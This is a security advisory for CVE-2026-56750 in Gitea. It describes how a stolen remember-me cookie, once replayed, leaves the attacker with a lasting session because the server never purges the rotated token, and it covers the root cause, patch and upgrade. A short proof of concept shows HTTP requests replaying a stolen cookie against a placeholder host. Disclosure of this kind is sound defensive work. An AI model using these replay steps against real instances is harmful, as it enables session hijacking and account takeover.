CVE-2026-56750: Gitea Remember-Me Token Theft Leaves Attacker Session Alive
Stealing a Gitea Remember-Me cookie and using it once gives an attacker a permanently valid session, even after the real user logs back in and their original cookie is rejected.
The problem
Gitea implements Remember-Me cookies using a split token design (ID:Hash). Each use rotates the Hash while keeping the same ID, so a replayed stale hash signals a compromised token.
When CheckAuthToken detects a hash mismatch, the autoSignIn handler deletes the victim's local browser cookie but never removes the attacker's already-rotated token from the database. The attacker's session remains valid indefinitely, fully defeating the split-token theft-detection design.
Proof of concept
A working proof-of-concept for CVE-2026-56750 in code.gitea.io/gitea, with the exact payload below.
# Step 1: Intercept the victim's Remember-Me cookie (e.g. via network sniff, XSS, or server log leak).
# Cookie name: gitea_incredible
# Cookie value format: <token_id>:<token_hash_hex>
# Example stolen value: 14:a3f1c2d4e5b67890abcdef1234567890abcdef1234567890abcdef1234567890
# Step 2: Send the stolen cookie to any authenticated endpoint before the victim does.
GET / HTTP/1.1
Host: gitea.example.com
Cookie: gitea_incredible=14:a3f1c2d4e5b67890abcdef1234567890abcdef1234567890abcdef1234567890
# Gitea validates ID 14, finds a hash match, authenticates the attacker,
# and rotates the DB record to a new hash (attacker now owns the live token).
# Step 3: Victim later uses their (now-stale) original cookie.
# CheckAuthToken returns ErrAuthTokenInvalidHash.
# autoSignIn calls ctx.DeleteSiteCookie -- victim's browser cookie is cleared.
# BUG: DeleteAuthTokensByUserID is never called.
# The attacker's rotated token in the DB is untouched.
# Step 4: Attacker continues to make authenticated requests indefinitely.
GET /user/settings HTTP/1.1
Host: gitea.example.com
Cookie: gitea_incredible=<attacker_rotated_token_id>:<attacker_rotated_hash>The root cause is in services/auth/auth_token.go (CheckAuthToken, lines 33-64). On ErrAuthTokenInvalidHash, the code correctly identifies a token replay scenario per the Paragonie split-token spec, but the autoSignIn caller only clears the victim's browser cookie via ctx.DeleteSiteCookie and returns early without purging the database record.
The patch adds a DeleteAuthTokensByUserID call in the ErrAuthTokenInvalidHash branch of autoSignIn, removing all remember-me tokens for that user ID from the database the moment a hash mismatch is detected. This terminates every active remember-me session, including the attacker's.
CWE-613 (Insufficient Session Expiration) applies: the server-side token row persists even though the security invariant that demanded its deletion had already been triggered.
The fix
Upgrade to Gitea v1.27.0. The fix is in PR #38406 (commit de4b8277 / f69e15af): autoSignIn now calls DeleteAuthTokensByUserID when ErrAuthTokenInvalidHash is returned, purging all remember-me sessions for the affected user on any detected token replay. No configuration change is needed beyond the upgrade.
Reported by AdamKorcz.
Related research
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream
- high · 8.8CVE-2026-27775CVE-2026-27775: Gitea Pre-Receive Hook Authorization Bypass via Cached Branch Permission
- highCVE-2026-58436CVE-2026-58436: Gitea Locale Middleware ReDoS via Accept-Language Underscore Bypass
- high · 7.7CVE-2026-58314CVE-2026-58314: Gitea SSRF via Incomplete IP Classifier and Unguarded OpenID Discovery